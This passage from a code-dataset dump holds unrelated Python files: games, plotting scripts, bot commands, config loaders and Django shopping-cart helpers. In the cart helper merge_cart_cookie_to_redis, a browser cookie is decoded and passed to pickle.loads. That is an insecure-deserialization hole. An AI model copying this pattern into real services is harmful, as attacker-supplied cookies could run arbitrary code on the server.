2))\n","sub_path":"anomatools/anomaly_detection/SSDO.py","file_name":"SSDO.py","file_ext":"py","file_size_in_byte":11068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"34031714","text":"import pygame\nimport random\nimport os\n\n# Set Background Music\npygame.mixer.init()\n\npygame.init()\n\n# Colors\nwhite = (255, 255, 255)\nred = (255, 0, 0)\nblack = (0, 0, 0)\ngreen = (0, 255, 0)\n\n# Creating window for game\nscreen_width = 900\nscreen_height = 600\ngameWindow = pygame.display.set_mode((screen_width, screen_height))\n\n# Set background Images..\nbgimg = pygame.image.load(\"bg1.jpg\")\nbg1img = pygame.image.load(\"bg2.jpg\")\nbg2img = pygame.image.load(\"bgg.jpg\")\nbgimg = pygame.transform.scale(bgimg, (screen_width, screen_height)).convert_alpha()\nbg1img = pygame.transform.scale(bg1img, (screen_width, screen_height)).convert_alpha()\nbg2img = pygame.transform.scale(bg2img, (screen_width, screen_height)).convert_alpha()\n\n# To give the Title of the game\npygame.display.set_caption(\"Snake Game\")\npygame.display.update()\nclock = pygame.time.Clock()\nfont = pygame.font.SysFont(None, 55)\n\n\ndef text_screen(text, color, x, y):\n assert isinstance(color, object)\n screen_text = font.render(text, True, color)\n gameWindow.blit(screen_text, [x, y])\n\n\ndef plot_snake(gameWindow, color, snk_list, snake_size):\n for x, y in snk_list:\n pygame.draw.rect(gameWindow, color, [x, y, snake_size, snake_size])\n\n\ndef welcome():\n exit_game = False\n while not exit_game:\n # gameWindow.fill(green)\n gameWindow.blit(bgimg, (0, 0))\n # text_screen(\"Welcome To Snake Game\", red, 220, 50)\n # text_screen(\"....Press Spacebar To Continue....\", black, 140, 290)\n # text_screen(\"Designed By Smart Rahul\", white, 420, 540)\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_game = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n pygame.mixer.music.load('Naginbg.mp3')\n pygame.mixer.music.play()\n gameloop()\n\n pygame.display.update()\n clock.tick(60)\n\n\n# Creating a Game loop\ndef gameloop():\n # Game specific variables\n exit_game = False\n game_over = False\n snake_x = 45\n snake_y = 55\n velocity_x = 0\n velocity_y = 0\n snk_list = []\n snk_length = 1\n\n # Check if hiscore txt file exists\n if (not os.path.exists(\"highscore.txt\")):\n with open(\"highscore.txt\", \"w\") as f:\n f.write(\"0\")\n\n with open(\"highscore.txt\", \"r\") as f:\n hiscore = f.read()\n\n food_x = random.randint(20, screen_width/2)\n food_y = random.randint(20, screen_height/2)\n score = 0\n init_velocity = 4\n snake_size = 30\n fps = 60\n while not exit_game:\n if game_over:\n with open(\"highscore.txt\", \"w\") as f:\n f.write(str(hiscore))\n\n gameWindow.fill(white)\n gameWindow.blit(bg1img, (0, 0))\n text_screen(\"Your High-Score: \" + str(score), black, 280, 420)\n # text_screen(\"Game Over ! Press Enter To Continue\", red, 100, 300)\n\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_game = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RETURN:\n pygame.mixer.music.load('start1.mp3')\n pygame.mixer.music.play()\n welcome()\n else:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n exit_game = True\n\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_RIGHT:\n velocity_x = init_velocity\n velocity_y = 0\n\n if event.key == pygame.K_LEFT:\n velocity_x = -init_velocity\n velocity_y = 0\n\n if event.key == pygame.K_UP:\n velocity_y = -init_velocity\n velocity_x = 0\n\n if event.key == pygame.K_DOWN:\n velocity_y = init_velocity\n velocity_x = 0\n\n if event.key == pygame.K_q:\n score += 10\n\n snake_x = snake_x + velocity_x\n snake_y = snake_y + velocity_y\n\n if abs(snake_x - food_x) < 8 and abs(snake_y - food_y) < 8:\n score += 10\n food_x = random.randint(20, screen_width/2)\n food_y = random.randint(20, screen_height/2)\n snk_length += 5\n if score > int(hiscore):\n hiscore = score\n\n # Operations handeled in game\n # Creating display colorfull\n gameWindow.fill(black)\n gameWindow.blit(bg2img, (0, 0))\n\n # Creating the Head of the snake\n text_screen(\"Score: \" + str(score) + \" Highscore: \" + str(hiscore), white, 5, 5)\n pygame.draw.rect(gameWindow, red, (food_x, food_y, snake_size, snake_size))\n\n head = []\n head.append(snake_x)\n head.append(snake_y)\n snk_list.append(head)\n\n if len(snk_list) > snk_length:\n del snk_list[0]\n\n if head in snk_list[:-1]:\n pygame.mixer.music.load('gameover.mp3')\n pygame.mixer.music.play()\n game_over = True\n\n if snake_x < 0 or snake_x > screen_width or snake_y < 0 or snake_y > screen_height:\n pygame.mixer.music.load('gameover.mp3')\n pygame.mixer.music.play()\n game_over = True\n\n # pygame.draw.rect(gameWindow, green, (snake_x, snake_y, snake_size, snake_size))\n plot_snake(gameWindow, green, snk_list, snake_size)\n pygame.display.update()\n clock.tick(fps)\n\n pygame.quit()\n quit()\n\n\nwelcome()\n","sub_path":"snakegame.py","file_name":"snakegame.py","file_ext":"py","file_size_in_byte":5827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"329707525","text":"\"\"\"\r\nScript and utilities to launch the plasma calculator.\r\n\"\"\"\r\n__all__ = [\"main\"]\r\n\r\nimport argparse\r\nimport pathlib\r\nimport shlex\r\nimport subprocess\r\n\r\n_description = \"\"\"\r\nPlasma calculator is a tool that opens a page in a web browser for\r\ninteractive calculation of plasma parameters.\r\n\r\nThis tool is currently in the prototype stage and is expected to change in\r\nthe future. Please raise an issue at the following link to provide suggestions\r\nand feedback: https://github.com/PlasmaPy/PlasmaPy/issues/new\r\n\"\"\"\r\n\r\n\r\ndef main():\r\n \"\"\"\r\n Stub function for command line tool that launches the plasma calculator notebook.\r\n \"\"\"\r\n parser = argparse.ArgumentParser(description=_description)\r\n parser.add_argument(\r\n \"--port\", type=int, default=8866, help=\"Port to run the notebook\"\r\n )\r\n parser.add_argument(\r\n \"--dark\", action=\"store_true\", help=\"Turn on dark mode, reduces eye strain\"\r\n )\r\n parser.add_argument(\r\n \"--no-browser\", action=\"store_true\", help=\"Do not open the browser\"\r\n )\r\n\r\n module_path = pathlib.Path(__file__).parent.absolute()\r\n notebook_path = module_path / \"plasma_calculator.ipynb\"\r\n favicon_path = module_path / \"favicon.ico\"\r\n\r\n args = parser.parse_args()\r\n theme = \"dark\" if args.dark else \"light\"\r\n no_browser = \"--no-browser\" if args.no_browser else \"\"\r\n\r\n command = [\r\n \"voila\",\r\n notebook_path,\r\n f\"--port={args.port}\",\r\n f\"--theme={theme}\",\r\n f\"--VoilaConfiguration.file_whitelist={favicon_path}\",\r\n ]\r\n if no_browser:\r\n command.append(no_browser)\r\n\r\n try:\r\n subprocess.call(command) # noqa: S603\r\n except KeyboardInterrupt:\r\n # We'll need to switch from print() to using logging library\r\n print(\"Stopping calculator! Bye\") # noqa: T201\r\n","sub_path":"plasmapy/utils/calculator/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"247248352","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division\n\nimport sys\nimport psycopg2\n\ndef main(argv):\n conn = psycopg2.connect(database=\"snow\", user=\"julian\", host=\"/tmp/\")\n cur = conn.cursor()\n \n cur.execute(\"\"\"\n DROP TABLE snow_points\n \"\"\")\n conn.commit()\n \nif __name__ == \"__main__\":\n main(sys.argv[1:])\n ","sub_path":"scripts/snow_drop_table.py","file_name":"snow_drop_table.py","file_ext":"py","file_size_in_byte":356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"107698775","text":"import numpy as np\nfrom numba import jit\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport matplotlib.animation as animation\n\ndelta_t = 0.001\n\ndef f(t, y):\n sigma = 10\n b = 8/3\n r = 28\n return np.array([sigma*(y[1]-y[0]),r*y[0]-y[1]-y[0]*y[2],y[0]*y[1]-b*y[2]])\n\n\ndef next(t, v):\n k1 = f(None, v[-1])\n k2 = f(None, v[-1] + delta_t / 2 * k1)\n k3 = f(None, v[-1] + delta_t / 2 * k2)\n k4 = f(None, v[-1] + delta_t * k3)\n next = np.array(v[-1]) + delta_t * (k1 + 2 * k2 + 2 * k3 + k4) / 6\n return next\n\n\ndef runge_kutta(v,t):\n for i in range(1, len(t)+1):\n v.append(next(None, v))\n\n\n# main\nif __name__ == '__main__':\n t = np.arange(0,10,delta_t)\n\n y = []\n y.append(np.array([1, 0, 20]))\n # print(v[0][1])\n runge_kutta(y,t)\n y = np.array(y)\n # print(y[:, 0])\n # exit()\n\n\n # plt.figure()\n # plt.plot(y[0], y[1])\n\n # fig = plt.figure()\n # ax = Axes3D(fig)\n # dot = plt.plot(y[::20, 0], y[::20, 1], y[::20, 2], c='red')\n # plt.show()\n\n # gif\n fig = plt.figure()\n ax = Axes3D(fig)\n\n\n ims = []\n for i in range(int(len(t)/200)):\n line = plt.plot(y[:i*200:20, 0], y[:i*200:20, 1],y[:i*200:20, 2], c='red')\n ims.extend([line])\n\n ani = animation.ArtistAnimation(fig, ims)\n ani.save('gif/3-3-1.gif', writer=\"imagemagick\")\n plt.show()\n","sub_path":"work3/3-3-1.py","file_name":"3-3-1.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"76301228","text":"import os\nimport sys\nimport brainrender.default_variables\nfrom brainrender.Utils.data_io import save_yaml, load_yaml\n\n\n__all__ = [\n \"BACKGROUND_COLOR\",\n \"DECIMATE_NEURONS\",\n \"DEFAULT_HDF_KEY\",\n \"DEFAULT_NEURITE_RADIUS\",\n \"DEFAULT_STRUCTURE_ALPHA\",\n \"DEFAULT_STRUCTURE_COLOR\",\n \"DEFAULT_VIP_COLOR\",\n \"DEFAULT_VIP_REGIONS\",\n \"DISPLAY_INSET\",\n \"DISPLAY_ROOT\",\n \"HDF_SUFFIXES\",\n \"INJECTION_DEFAULT_COLOR\",\n \"INJECTION_VOLUME_SIZE\",\n \"NEURONS_FILE\",\n \"NEURON_ALPHA\",\n \"NEURON_RESOLUTION\",\n \"ROOT_ALPHA\",\n \"ROOT_COLOR\",\n \"SHADER_STYLE\",\n \"SHOW_AXES\",\n \"SMOOTH_NEURONS\",\n \"SOMA_RADIUS\",\n \"STREAMLINES_RESOLUTION\",\n \"TRACTO_ALPHA\",\n \"TRACTO_RADIUS\",\n \"TRACTO_RES\",\n \"TRACT_DEFAULT_COLOR\",\n \"USE_MORPHOLOGY_CACHE\",\n \"VERBOSE\",\n \"WHOLE_SCREEN\",\n \"WINDOW_POS\",\n \"INTERACTIVE_MSG\",\n ]\n\n\n# -------------------------- Set vtkplotter shaders -------------------------- #\nfrom vtkplotter import settings\nsettings.useDepthPeeling = True # necessary for rendering of semitransparent actors\nsettings.useFXAA = True # necessary for rendering of semitransparent actors\nsettings.screeshotScale = 1 # Improves resolution of saved screenshots\n\n\n# ------------------------- reset default parameters file ------------------------- #\ndef reset_defaults():\n pathtofile = os.path.join(os.path.expanduser(\"~\"), \".brainrender\", 'config.yaml')\n \n # Get all variables from defaults\n vs = {key: value for key, value in default_variables.__dict__.items() \n if not (key.startswith('__') or key.startswith('_'))}\n comment = '# Rendering options. An explanation for each parameter can be found ' +\\\n 'in the documentation or in brainrender.default_variables.py\\n'\n save_yaml(pathtofile, vs, append=False, topcomment=comment)\n\n\n# ---------------------------------------------------------------------------- #\n# Create a config file from the default variables #\n# ---------------------------------------------------------------------------- #\n# Get base directory\n_user_dir = os.path.expanduser(\"~\")\nif not os.path.isdir(_user_dir):\n raise FileExistsError(\"Could not find user base folder (to save brainrender data). Platform: {}\".format(sys.platform))\n_base_dir = os.path.join(_user_dir, \".brainrender\")\n\nif not os.path.isdir(_base_dir):\n os.mkdir(_base_dir)\n\n# Create config path\n_config_path = os.path.join(_base_dir, 'config.yaml')\nif not os.path.isfile(_config_path):\n reset_defaults()\n\n\n# ---------------------------------------------------------------------------- #\n# PARSE VARIABLES #\n# ---------------------------------------------------------------------------- #\n# Rendering options. An explanation for each parameter can be found in the documentation or in brainrender.default_variables.py\nparams = load_yaml(_config_path)\n\nBACKGROUND_COLOR = params['BACKGROUND_COLOR']\nDECIMATE_NEURONS = params['DECIMATE_NEURONS']\nDEFAULT_HDF_KEY = params['DEFAULT_HDF_KEY']\nDEFAULT_NEURITE_RADIUS = params['DEFAULT_NEURITE_RADIUS']\nDEFAULT_STRUCTURE_ALPHA = params['DEFAULT_STRUCTURE_ALPHA']\nDEFAULT_STRUCTURE_COLOR = params['DEFAULT_STRUCTURE_COLOR']\nDEFAULT_VIP_COLOR = params['DEFAULT_VIP_COLOR']\nDEFAULT_VIP_REGIONS = params['DEFAULT_VIP_REGIONS']\nDISPLAY_INSET = params['DISPLAY_INSET']\nDISPLAY_ROOT = params['DISPLAY_ROOT']\nHDF_SUFFIXES = params['HDF_SUFFIXES']\nINJECTION_DEFAULT_COLOR = params['INJECTION_DEFAULT_COLOR']\nINJECTION_VOLUME_SIZE = params['INJECTION_VOLUME_SIZE']\nNEURONS_FILE = params['NEURONS_FILE']\nNEURON_ALPHA = params['NEURON_ALPHA']\nNEURON_RESOLUTION = params['NEURON_RESOLUTION']\nROOT_ALPHA = params['ROOT_ALPHA']\nROOT_COLOR = params['ROOT_COLOR']\nSHADER_STYLE = params['SHADER_STYLE']\nSHOW_AXES = params['SHOW_AXES']\nSMOOTH_NEURONS = params['SMOOTH_NEURONS']\nSOMA_RADIUS = params['SOMA_RADIUS']\nSTREAMLINES_RESOLUTION = params['STREAMLINES_RESOLUTION']\nTRACTO_ALPHA = params['TRACTO_ALPHA']\nTRACTO_RADIUS = params['TRACTO_RADIUS']\nTRACTO_RES = params['TRACTO_RES']\nTRACT_DEFAULT_COLOR = params['TRACT_DEFAULT_COLOR']\nUSE_MORPHOLOGY_CACHE = params['USE_MORPHOLOGY_CACHE']\nVERBOSE = params['VERBOSE']\nWHOLE_SCREEN = params['WHOLE_SCREEN']\nWINDOW_POS = params['WINDOW_POS']\n\n\n\nINTERACTIVE_MSG = \\\n\"\"\"\n ==========================================================\n| Press: i print info about selected object |\n| m minimise opacity of selected mesh |\n| ., reduce/increase opacity |\n| / maximize opacity |\n| w/s toggle wireframe/solid style |\n| p/P change point size of vertices |\n| l toggle edges line visibility |\n| x toggle mesh visibility |\n| X invoke a cutter widget tool |\n| 1-3 change mesh color |\n| 4 use scalars as colors, if present |\n| 5 change background color |\n| 0-9 (on keypad) change axes style |\n| k cycle available lighting styles |\n| K cycle available shading styles |\n| o/O add/remove light to scene and rotate it |\n| n show surface mesh normals |\n| a toggle interaction to Actor Mode |\n| j toggle interaction to Joystick Mode |\n| r reset camera position |\n| C print current camera info |\n| S save a screenshot |\n| E export rendering window to numpy file |\n| q return control to python script |\n| Esc close the rendering window and continue |\n| F1 abort execution and exit python kernel |\n| Mouse: Left-click rotate scene / pick actors |\n| Middle-click pan scene |\n| Right-click zoom scene in or out |\n| Cntrl-click rotate scene perpendicularly |\n|----------------------------------------------------------|\n| Check out documentation at: https://vtkplotter.embl.es |\n ==========================================================\n\"\"\"\n\n\n\n\n","sub_path":"brainrender/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":6417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"533442434","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n# Importing the dataset\ndataset = pd.read_csv('servo.csv')\nprint(dataset.corr())\n\n\ny = dataset.iloc[:,2].values\nX = dataset.drop(['pgain'],axis=1)\n\n\n\n\n#categorizing data\nX = pd.get_dummies(X, columns=[\"motor\",\"screw\"])\n\nprint(X.isnull().sum())\n\n# Splitting the dataset into the Training set and Test set\nfrom sklearn.model_selection import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.20, random_state = 35)\n\n# Feature Scaling\nfrom sklearn.preprocessing import StandardScaler\nsc_X = StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n\n# Fitting Multiple Linear Regression to the Training set\nfrom sklearn.linear_model import LinearRegression\nregressor = LinearRegression()\nmodel = regressor.fit(X_train, y_train)\n\n# Predicting the Test set results\ny_pred = regressor.predict(X_test)\n\n#Evaluating the model\nfrom sklearn.metrics import mean_squared_error, r2_score\nprint(\"Variance score: %.2f\" % r2_score(y_test,y_pred))\nprint(\"Mean squared error: %.2f\" % mean_squared_error(y_test,y_pred))\nplt.scatter(y_pred, y_test, alpha=.75,\n color='b') # alpha helps to show overlapping data\nplt.xlabel('Predicted ')\nplt.ylabel('Actual ')\nplt.title('Multiple Linear Regression Model')\nplt.show()","sub_path":"Lab-2/Source/mulipleregression.py","file_name":"mulipleregression.py","file_ext":"py","file_size_in_byte":1397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"550738744","text":"import necrobot.exception\nfrom necrobot.botbase.command import Command\nfrom necrobot.botbase.commandtype import CommandType\nfrom necrobot.condorbot.condormgr import CondorMgr\nfrom necrobot.league.leaguemgr import LeagueMgr\nfrom necrobot.match import matchdb, matchutil\nfrom necrobot.util.parse import dateparse\n\n\nclass ScrubDatabase(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'scrubdatabase')\n self.help_text = 'Deletes matches without a current channel and with no played races from the database.'\n self.admin_only = True\n\n async def _do_execute(self, cmd: Command):\n await matchdb.scrub_unchanneled_unraced_matches()\n matchutil.invalidate_cache()\n await cmd.channel.send(\n 'Database scrubbed.'\n )\n\n\nclass Deadline(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'deadline')\n self.help_text = 'Get the deadline for scheduling matches.'\n self.admin_only = True\n\n async def _do_execute(self, cmd: Command):\n if not CondorMgr().has_event:\n await cmd.channel.send(\n 'Error: No league set.'\n )\n return\n\n deadline_str = CondorMgr().deadline_str\n\n if deadline_str is None:\n await cmd.channel.send(\n 'No deadline is set for the current league.'\n )\n return\n\n try:\n deadline = dateparse.parse_datetime(deadline_str)\n except necrobot.exception.ParseException as e:\n await cmd.channel.send(str(e))\n return\n\n await cmd.channel.send(\n 'The current league deadline is \"{deadline_str}\". As of now, this is '\n '{deadline:%b %d (%A) at %I:%M %p} (UTC).'\n .format(\n deadline_str=deadline_str,\n deadline=deadline\n )\n )\n\n\nclass GetCurrentEvent(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'eventinfo')\n self.help_text = 'Get the identifier and name of the current CoNDOR event.' \\\n .format(self.mention)\n self.admin_only = True\n\n async def _do_execute(self, cmd: Command):\n event = CondorMgr().event\n if event is None:\n await cmd.channel.send(\n 'Error: The current event (`{0}`) does not exist.'\n )\n return\n\n await cmd.channel.send(\n f'```\\n'\n f'Current event:\\n'\n f' ID: {event.schema_name}\\n'\n f' Name: {event.event_name}\\n'\n f' Deadline: {event.deadline_str}\\n'\n f' Leagues: {\", \".join(LeagueMgr().leagues())}\\n'\n f'```'\n )\n\n\nclass RegisterCondorEvent(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'register-condor-event')\n self.help_text = '`{0} schema_name`: Create a new CoNDOR event in the database, and set this to ' \\\n 'be the bot\\'s current event.' \\\n .format(self.mention)\n self.admin_only = True\n\n @property\n def short_help_text(self):\n return 'Create a new CoNDOR event.'\n\n async def _do_execute(self, cmd: Command):\n if len(cmd.args) != 1:\n await cmd.channel.send(\n 'Wrong number of arguments for `{0}`.'.format(self.mention)\n )\n return\n\n schema_name = cmd.args[0].lower()\n try:\n await CondorMgr().create_event(schema_name=schema_name)\n except necrobot.exception.LeagueAlreadyExists as e:\n await cmd.channel.send(\n 'Error: Schema `{0}`: {1}'.format(schema_name, e)\n )\n return\n except necrobot.exception.InvalidSchemaName:\n await cmd.channel.send(\n 'Error: `{0}` is an invalid schema name. (`a-z`, `A-Z`, `0-9`, `_` and `$` are allowed characters.)'\n .format(schema_name)\n )\n return\n\n await cmd.channel.send(\n 'Registered new CoNDOR event `{0}`, and set it to be the bot\\'s current event.'.format(schema_name)\n )\n\n\nclass SetCondorEvent(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'setevent')\n self.help_text = '`{0} schema_name`: Set the bot\\'s current event to `schema_name`.' \\\n .format(self.mention)\n self.admin_only = True\n\n @property\n def short_help_text(self):\n return 'Set the bot\\'s current CoNDOR event.'\n\n async def _do_execute(self, cmd: Command):\n if len(cmd.args) != 1:\n await cmd.channel.send(\n 'Wrong number of arguments for `{0}`.'.format(self.mention)\n )\n return\n\n schema_name = cmd.args[0].lower()\n try:\n await CondorMgr().set_event(schema_name=schema_name)\n except necrobot.exception.LeagueDoesNotExist:\n await cmd.channel.send(\n 'Error: Event `{0}` does not exist.'.format(schema_name)\n )\n return\n\n event_name = CondorMgr().event.event_name\n league_name_str = ' ({0})'.format(event_name) if event_name is not None else ''\n await cmd.channel.send(\n 'Set the current CoNDOR event to `{0}`{1}.'.format(schema_name, league_name_str)\n )\n\n\nclass SetDeadline(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'setdeadline')\n self.help_text = '`{0} time`: Set a deadline for scheduling matches (e.g. \"friday 12:00\"). The given time ' \\\n 'will be interpreted in UTC.' \\\n .format(self.mention)\n self.admin_only = True\n\n @property\n def short_help_text(self):\n return 'Set match scheduling deadline.'\n\n async def _do_execute(self, cmd: Command):\n if not CondorMgr().has_event:\n await cmd.channel.send(\n 'Error: No league set.'\n )\n return\n\n try:\n deadline = dateparse.parse_datetime(cmd.arg_string)\n except necrobot.exception.ParseException as e:\n await cmd.channel.send(str(e))\n return\n\n await CondorMgr().set_deadline(cmd.arg_string)\n await cmd.channel.send(\n 'Set the current league\\'s deadline to \"{deadline_str}\". As of now, this is '\n '{deadline:%b %d (%A) at %I:%M %p (%Z)}.'\n .format(\n deadline_str=cmd.arg_string,\n deadline=deadline\n )\n )\n\n\nclass SetEventName(CommandType):\n def __init__(self, bot_channel):\n CommandType.__init__(self, bot_channel, 'set-event-name')\n self.help_text = '`{0} event_name`: Set the name of bot\\'s current event. Note: This does not ' \\\n 'change or create a new event! Use `.register-condor-event` and `.set-condor-event`.' \\\n .format(self.mention)\n self.admin_only = True\n\n @property\n def short_help_text(self):\n return 'Change current event\\'s name.'\n\n async def _do_execute(self, cmd: Command):\n if not CondorMgr().has_event:\n await cmd.channel.send(\n 'Error: No league set.'\n )\n return\n\n await CondorMgr().set_event_name(cmd.arg_string)\n await cmd.channel.send(\n 'Set the name of current CoNDOR event (`{0}`) to {1}.'.format(CondorMgr().schema_name, cmd.arg_string)\n )\n","sub_path":"necrobot/condorbot/cmd_event.py","file_name":"cmd_event.py","file_ext":"py","file_size_in_byte":7597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"372192971","text":"import logging\nimport logging.config\n\n\nclass Log:\n def __init__(self):\n logging.config.dictConfig({\n 'version': 1,\n 'disable_existing_loggers': True,\n })\n self.log = logging.getLogger(\"WalBot\")\n self.log.setLevel(logging.DEBUG)\n fh = logging.FileHandler(\"log.txt\", encoding=\"utf-8\")\n ch = logging.StreamHandler()\n formatter = logging.Formatter(\"[%(asctime)s] [%(levelname)s] %(message)s\")\n for h in (fh, ch):\n h.setLevel(logging.DEBUG)\n h.setFormatter(formatter)\n self.log.addHandler(h)\n self.debug = self.log.debug\n self.info = self.log.info\n self.error = self.log.error\n self.warning = self.log.warning\n self.info(\"Logging system is set up\")\n\n\nlog = Log()\n","sub_path":"src/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"73735927","text":"from GIException import GIException\nimport sys\nimport globalVariables\n\n\ndef set_fasta_file(value):\n globalVariables.fastaFile = value\n\n\ndef set_fastq_file(value):\n globalVariables.fastqFile = value\n\n\ndef set_seed(value):\n if (not value.isnumeric() or int(value) <= 0):\n raise GIException(\"Invalid parameter - seed length should be number greater than 0\")\n globalVariables.seed_length = int(value)\n\n\ndef set_margin(value):\n if (not value.isnumeric() or int(value) < 0 or int(value) > 3):\n raise GIException(\"Invalid parameter - margin should be number between 0 and 3 (0 and 3 included)\")\n globalVariables.margin = int(value)\n\n\ndef set_match(value):\n val = value\n sign = 1\n if (value[0] == \"-\"):\n val = value[1:]\n sign = -1\n if (not val.isnumeric()):\n raise GIException(\"Invalid parameter - match should be number\")\n globalVariables.match = sign * int(val)\n\n\ndef set_replacement(value):\n val = value\n sign = 1\n if (value[0] == \"-\"):\n val = value[1:]\n sign = -1\n if (not val.isnumeric()):\n raise GIException(\"Invalid parameter - replacement should be number\")\n globalVariables.replacement = sign * int(val)\n\n\ndef set_insertion_deletion(value):\n val = value\n sign = 1\n if (value[0] == \"-\"):\n val = value[1:]\n sign = -1\n if (not val.isnumeric()):\n raise GIException(\"Invalid parameter - insertion should be number\")\n globalVariables.insertion = sign * int(val)\n\n\ndef invalid_parameter(value):\n raise GIException(\"Unknown parameter \" + value)\n\n\ndef read_command_line_arguments():\n if (len(sys.argv) < 15):\n # logger.error(\"Missing parameters - required: fasta file path, fastq file path, seed length, margin, match. replace, insertion/deletions\")\n raise GIException(\n \"Missing parameters - required: fasta file path, fastq file path, seed length, margin, match. replace, insertion/deletions\")\n switcher = {\n \"-f\": set_fasta_file,\n \"-q\": set_fastq_file,\n \"-s\": set_seed,\n \"-mg\": set_margin,\n \"-m\": set_match,\n \"-r\": set_replacement,\n \"-i\": set_insertion_deletion\n }\n for i in range(len(sys.argv)):\n if i % 2 == 1:\n set_parameter = switcher.get(sys.argv[i], invalid_parameter)\n arg = sys.argv[i] if set_parameter == invalid_parameter else sys.argv[i + 1];\n set_parameter(arg)\n # print_command_line_arguments(logger)\n\n\ndef print_command_line_arguments(logger):\n # print(\"Parameters successfully read:\")\n logger.info(\"Parameters successfully read:\")\n logger.info(\"fasta file: \" + globalVariables.fastaFile)\n logger.info(\"fastq file: \" + globalVariables.fastqFile)\n logger.info(\"seed length: \" + str(globalVariables.seed_length))\n logger.info(\"margin: \" + str(globalVariables.margin))\n logger.info(\"Scoring matrix values:\")\n logger.info(\"match: \" + str(globalVariables.match))\n logger.info(\"mismatch: \" + str(globalVariables.replacement))\n logger.info(\"insertion/deletion: \" + str(globalVariables.insertion))\n","sub_path":"source/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"264724100","text":"import pickle\n\nimport base64\nimport re\nfrom django.contrib.auth.backends import ModelBackend\nfrom django_redis import get_redis_connection\n\nfrom users.models import User\n\n\ndef jwt_response_payload_handler(token, user=None, request=None):\n return {\n 'token': token,\n 'username': user.username,\n 'user_id': user.id\n }\n\n\nclass UsernameMobileAuthBackend(ModelBackend):\n def authenticate(self, request, username=None, password=None, **kwargs):\n try:\n # 1、判断username是否是手机号\n if re.match(r'^1[3-9]\\d{9}$', username):\n # 2、是手机号,按照手机号查询数据 mobile\n user = User.objects.get(mobile=username)\n else:\n # 3、不是则按照username字段查询\n user = User.objects.get(username=username)\n except:\n user = None\n\n # 4、验证密码\n if user is not None and user.check_password(password):\n return user\n\n\ndef merge_cart_cookie_to_redis(request,response,user):\n # 1、获取cookie\n cart_cookie = request.COOKIES.get('cart_cookie', None)\n # 2、判断cookie是否存在\n if cart_cookie is None:\n return response\n # 3、解密cookie {10: {count: 2, selected: True}} {}\n cart = pickle.loads(base64.b64decode(cart_cookie))\n # 4、判断字典是否为空\n if not cart:\n return response\n # 5、拆分数据 字典对应hash类 列表对应set\n cart_dict = {}\n sku_ids = []\n sku_ids_none = []\n for sku_id, data in cart.items():\n # 哈希\n cart_dict[sku_id] = data['count']\n # 选中状态\n if data['selected']:\n sku_ids.append(sku_id)\n else:\n sku_ids_none.append(sku_id)\n\n # 6、建立连接写入redis缓存\n conn = get_redis_connection('cart')\n conn.hmset('cart_%s' % user.id, cart_dict)\n if sku_ids:\n conn.sadd('cart_selected_%s' % user.id, *sku_ids)\n if sku_ids_none:\n conn.srem('cart_selected_%s' % user.id, *sku_ids_none)\n # 7、删除cookie\n response.delete_cookie('cart_cookie')\n # 8、结果返回\n return response\n","sub_path":"meiduo_mall/meiduo_mall/apps/users/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"72"} +{"seq_id":"564076602","text":"from flask import Flask, request\na = Flask(__name__)\n\n\ndef Task_1(body):\n dict = {}\n u1 = int(body['u1'])\n u2 = int(body['u2'])\n u3 = int(body['u3'])\n p1 = int(body['p1'])\n p2 = int(body['p2'])\n F = int(body['F'])\n S = u1+u2+u3+p1+p2\n SFR = int(S)/int(F)\n dict['u1'] = u1\n dict['u2'] = u2\n dict['u3'] = u3\n dict['p1'] = p1\n dict['p2'] = p2\n dict['F'] = F\n dict['S'] = S\n dict['SFR'] = SFR\n if SFR <= 15:\n Score = 20\n elif SFR <= 17:\n Score = 18\n elif SFR <= 19:\n Score = 16\n elif SFR <= 21:\n Score = 14\n elif SFR <= 23:\n Score = 12\n elif SFR <= 25:\n Score = 10\n else:\n Score = 0\n dict['Score'] = Score\n return dict\n\n\ndef Task_2(body):\n new_dict = {}\n N = int(body['N'])\n a_F1 = 